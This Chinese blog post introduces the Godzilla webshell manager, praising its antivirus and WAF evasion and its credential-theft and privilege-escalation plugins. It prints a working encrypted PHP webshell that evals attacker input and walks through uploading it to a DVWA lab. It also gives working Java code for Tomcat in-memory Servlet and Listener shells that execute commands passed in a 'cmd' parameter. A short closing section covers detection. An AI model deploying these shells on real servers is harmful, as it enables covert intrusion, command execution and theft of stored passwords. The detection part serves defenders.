• 哥斯拉加密WebShell过杀软


    一、哥斯拉(Godzilla Shell)简介

    哥斯拉是继菜刀、蚁剑、冰蝎之后具有更多优点的Webshell管理工具,由java语言开发,如名称一样,他的“凶猛”之处主要体现在:

    1、哥斯拉全部类型的shell均过市面所有静态查杀。

    2、静态免杀这个问题,要客观;工具放出来之后可能会免杀一段时间,后来就不行了,但是,改改代码还能继续过狗。重点还是要看流量加密和一些自带的插件。

    3、哥斯拉流量加密能过市面全部流量waf。

    4、哥斯拉的自带的插件是冰蝎、蚁剑不能比拟的。

    如此简单的操作界面,实际效果和功能可绝不简单。

    它能实现的功能除了传统的命令执行、文件管理、数据库管理之外,根据shell类型的不同还包括了:

    • MSF联动
    • 绕过OpenBasedir
    • ZIP压缩 ZIP解压
    • 代码执行
    • 绕过 DisableFunctions
    • Mimikatz
    • 读取服务器 FileZilla Navicat Sqlyog Winscp XMangager 的配置信息以及密码
    • 虚拟终端 可以用netcat连接
    • Windows权限提升 (2012-2019烂土豆)
    • 读取服务器 谷歌 IE 火狐 浏览器保存的账号密码
    • Windows权限提升烂土豆的C#版本 甜土豆
    • 支持 哥斯拉 冰蝎 菜刀 ReGeorg 的内存shell 并且支持卸载
    • 屏幕截图
    • Servlet管理 Servlet卸载
    • 内存加载Jar 将Jar加载到 SystemClassLoader

    二、管理工具安装与使用

    哥斯拉下载与安装

    下载地址:Release v3.03-godzilla · BeichenDream/Godzilla · GitHub

    GodZilla 的运行环境:JDK 1.8

    2、双击 Godzilla.jar 运行 程序之后 会在 同目录下 生成 data.db 数据库存放数据。

    哥斯拉使用方法

    ① 哥斯拉的马(Webshell)已经内置了Payload以及加密器,是需要自己配置的 。

    双击Godzilla.jar打开,此时会在同目录下生成data.db数据库存放数据。

    哥斯拉支持jsp、php、aspx等多种载荷,java和c#的载荷原生实现AES加密,PHP使用亦或加密。生成时需要记住自己的生成配置用以链接时用。

    点击"管理”->“添加”生成所需的webshell:

    1.哥斯拉支持 jsp、php、aspx 等多种载荷。

    2.java 和 c# 的载荷原生实现 AES 加密,PHP使用亦或加密。

    3.生成时需要记住自己的生成配置用以连接时使用。

    4.记得点击生成。

    ② 把生成的脚本放到了D盘下,起名为:ace.php。

    1. @session_start();
    2. @set_time_limit(0);
    3. @error_reporting(0);
    4. function encode($D,$K){
    5. for($i=0;$i$D);$i++) {
    6. $c = $K[$i+1&15];
    7. $D[$i] = $D[$i]^$c;
    8. }
    9. return $D;
    10. }
    11. $pass='verter';
    12. $payloadName='payload';
    13. $key='cb42e130d1471239';
    14. if (isset($_POST[$pass])){
    15. $data=encode(base64_decode($_POST[$pass]),$key);
    16. if (isset($_SESSION[$payloadName])){
    17. $payload=encode($_SESSION[$payloadName],$key);
    18. eval($payload);
    19. echo substr(md5($pass.$key),0,16);
    20. echo base64_encode(encode(@run($data),$key));
    21. echo substr(md5($pass.$key),16);
    22. }else{
    23. if (stripos($data,"getBasicsInfo")!==false){
    24. $_SESSION[$payloadName]=encode($data,$key);
    25. }
    26. }
    27. }

    ③ 选择DVWA 靶机,上传文件

     ④ 目标 → 基础配置 → 将框选的内容填写修改,有效载荷和加密器,点击测试连接。连接成功后点击添加:

    ⑤ 哥斯拉也有很多功能模块,比如:基本信息、文件管理、命令执行、数据库管理等等。

    (1)数据库管理

    相信大家在使用蚁剑的时候没少碰到过连不上数据库的情况,我自己碰到过一个环境就是shell所在的tomcat container没有jdbc的jar包依赖导致连不上数据库,偏偏蚁剑没什么好办法。而在哥斯拉中就不必担心这个问题,在数据库管理中哥斯拉会先从容器中加载可用的jdbc,如果没有就通过内存加载jar驱动来链接数据库。

    (2)内存shell

    内存shell模块实现了在tomcat中注册、卸载内存马。

    你可以直接注册一个哥斯拉的马或者冰蝎、菜刀的马,甚至是regeorg。

    比如注册一个/Godzillashell进去:

    访问发现存在:

    直接哥斯拉链接就行了。内存shell 无日志,会在tomcat重启后消失。

    (3)屏幕截图

    点截图会自动保存预览,在windows上需要shell权限够大。

    (4)虚拟终端

    这个功能其实是在本地监听端口,通过shell与服务器交互实现cmdshell。点击start之后执行nc 127.0.0.1 4444链接本地4444获取cmdshell。

    如果不使用nc链接的话会一直占用本地4444端口。用完请exit或点击stop。

    (5)JMeterpreter

    三、哥斯拉通信加密分析

    流量加密分析

    以jsp为例,修改链接配置里的代理选项为http代理,让流量代理到Burp中。

    执行dir命令的请求包:

    响应包:

    或许你说headers里的一些ua和Accept太扎眼了,别担心,这些可以自己配置。在shell编辑的请求配置中修改。

    或者在配置–全局配置中修改。

    此时在看请求包和响应包完全没有特征:

    并且在请求包的thisisleftData和thisisrightData可以修改为其他杂乱数据来进行干扰。到这里还不说一句哥斯拉天下第一?

    流量加密实现

    选择JavaDynamicPayload。

    生成一个WebShell,需要用Unicode解码才能查看代码:

    字符串xc为自定义秘钥(pass)MD5的前16位。

    拼接自定义的密码和秘钥获取md5值, 这里的md5值作为认证密码和密钥,主要代码逻辑如下:

    抓取连接Shell地址过程数据包,一共进行了三次请求响应:

    JavaAesBase64类初始化方法如下,加解密方法与生成的WebShell相对应:

    四、哥斯拉流量端检测思路

    围绕流量测的检测思路,因为其流量加密的特性,其实与冰蝎Shell管理工具想法大致相同,往往需要多种弱特征结合验证,如可以通过分析Shell连接过程的简单固有特征,结合数据统计分析来进行检测等。

    内存马

    内存马特点:文件无需落地,更加隐蔽。以tomcat为例,内存马分为以下三种:Servlet、Filter、Listener

    (1)Servlet内存马

    以一个简单的Servletdemo为例,访问url,查看tomcat对应的调用栈如下:

    我们知道通过web.xml或者注解的方式可以配置自定义的servlet与url的映射。而在tomcat中,Wrapper等效于Servlet,即我们只要自定义的实现该逻辑,就可实现Servlet内存马。

    Servlet3.0开始提供了动态注册filter、Servlet、Listener,这里不再赘述,感兴趣的可以自己调试验证下,主要逻辑为:

    1.创建自定义Servlet。

    2.使用Wrapper对应进行封装。

    3.添加封装后的Wrapper到StandardContext的children当中。

    4.添加ServletMapping将访问的URL和Servlet进行绑定。

    如234步骤实现代码如下:

    1. // 获取StandardContext
    2. org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    3. StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
    4. // 用Wrapper对其进行封装
    5. org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
    6. newWrapper.setName("sangfor");
    7. newWrapper.setLoadOnStartup(1);
    8. newWrapper.setServlet(servlet);
    9. newWrapper.setServletClass(servlet.getClass().getName());
    10. // 添加封装后的恶意Wrapper到StandardContext的children当中
    11. standardCtx.addChild(newWrapper);
    12. // 添加ServletMapping将访问的URL和Servlet进行绑定
    13. standardCtx.addServletMapping("/sangfor","sangfor");

    (3)Listener内存马

    请求站点时,优先级如下,Listener -> Filter -> Servlet,Listener是最先被加载的

    当设置了ServletRequestListener时,每次请求都会先进入Listener 进行逻辑判断

    Listen监视器分类:

    ServletContext监听, 服务启动和停止时触发

    Session监听, Session初始化和销毁时触发

    Request监听, 访问服务时触发

    我们需要通过Request这个点来实现,即ServletRequestListener,主要逻辑:

    自定义Listener

    调用StandardContext对象的addApplicationEventListener方法来添加Listenner

    (直接使用ApplicationContext的addListenner方法来动态添加Listener会进行web容器状态判断)

    主要代码如下:

    1. //listener
    2. ServletRequestListener demoListener = new ServletRequestListener() {
    3. @Override
    4. public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
    5. }
    6. @Override
    7. public void requestInitialized(ServletRequestEvent sre) {
    8. System.out.println("requestInitialized");
    9. String cmd = sre.getServletRequest().getParameter("cmd");
    10. try{
    11. //获取sre中的requestFacade对象
    12. org.apache.catalina.connector.RequestFacade requestFacade =
    13. (org.apache.catalina.connector.RequestFacade)sre.getServletRequest();
    14. //反射获取RequestFacade中的request对象
    15. java.lang.reflect.Field connrequestField =
    16. org.apache.catalina.connector.RequestFacade.class.getDeclaredField("request");
    17. connrequestField.setAccessible(true);
    18. org.apache.catalina.connector.Request request =
    19. (org.apache.catalina.connector.Request) connrequestField.get(requestFacade);
    20. //执行命令并回显
    21. String[] cmds =
    22. !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]
    23. {"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
    24. java.io.InputStream in =
    25. Runtime.getRuntime().exec(cmds).getInputStream();
    26. java.util.Scanner s = new
    27. java.util.Scanner(in).useDelimiter("\\a");
    28. String output = s.hasNext() ? s.next() : "";
    29. java.io.Writer writer = request.getResponse().getWriter();
    30. java.lang.reflect.Field usingWriter =
    31. request.getResponse().getClass().getDeclaredField("usingWriter");
    32. usingWriter.setAccessible(true);
    33. usingWriter.set(request.getResponse(), Boolean.FALSE);
    34. writer.write(output);
    35. writer.flush();
    36. }catch (Exception e){
    37. e.printStackTrace();
    38. }
    39. }
    40. };
    41. //获取standardContext
    42. org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
    43. (org.apache.catalina.loader.WebappClassLoaderBase)
    44. Thread.currentThread().getContextClassLoader();
    45. org.apache.catalina.core.StandardContext standardCtx =
    46. (org.apache.catalina.core.StandardContext)webappClassLoaderBase.getResources().
    47. getContext();
    48. //添加监听器
    49. standardCtx.addApplicationEventListener(demoListener);

    (4)哥斯拉Shell管理工具实现内存马

    我们再回过头来看下哥斯拉Shell管理工具中内存马的实现,内部实现了不同webshell的内存马,使用jd-gui工具打开class文件,可以看到,C刀,冰蝎不同shell的实现逻辑大相径庭,根据其shell管理工具进行了修改:

    (5)内存马检测

    有了其攻击手段的实现,防御检测思路也不断更新替换,上述也仅仅是tomcat的实现思路,不同容器框架的具体实现也需要对应的进行封装修改,但其思路大致相同。

    万变不离其宗,在主机侧,我们可以通过以下维度是进行检测:

    • 攻击行为固有行为特征
    • 不同于正常业务的特殊共性
    • 高危敏感行为检测

    网上已有不少主机侧检测思路,如:

    • 核心特点均会是被加载进jvm的类,即思路为遍历获取每个类,通过类黑名单、高危风险类筛选检测
    • 内存马不落地,即本地不存在对应class文件,攻击者又会在内存马中放置危险操作这两个特性,检测对应ClassLoader目录文件是否存在class文件。我们再dump对应class(如filter)进行check

    我们也可以通过RASP技术注入监测阻断恶意敏感操作,也可以达到比较好的类隔离效果。

  • 相关阅读:
    编译原理实验二、 编译器认知实验报告
    CAD二次开发 Line类函数解析
    【C语言】【数据存储】用%u打印char类型?用char存128?
    网站入门:Flask用法讲解
    力扣hot100:146. LRU 缓存
    使用 Pinia 轻松实现复杂的 Vue 3 状态管理
    Java 8 要过时了?从JDK8飞升到JDK17,一次性给你讲明白
    玻色量子签约移动云“五岳”量子云计算创新加速计划!
    Modbus转Profinet网关接电表与工控机通讯
    [附源码]SSM计算机毕业设计影院售票系统JAVA
  • 原文地址:https://blog.csdn.net/qq_35029061/article/details/126116116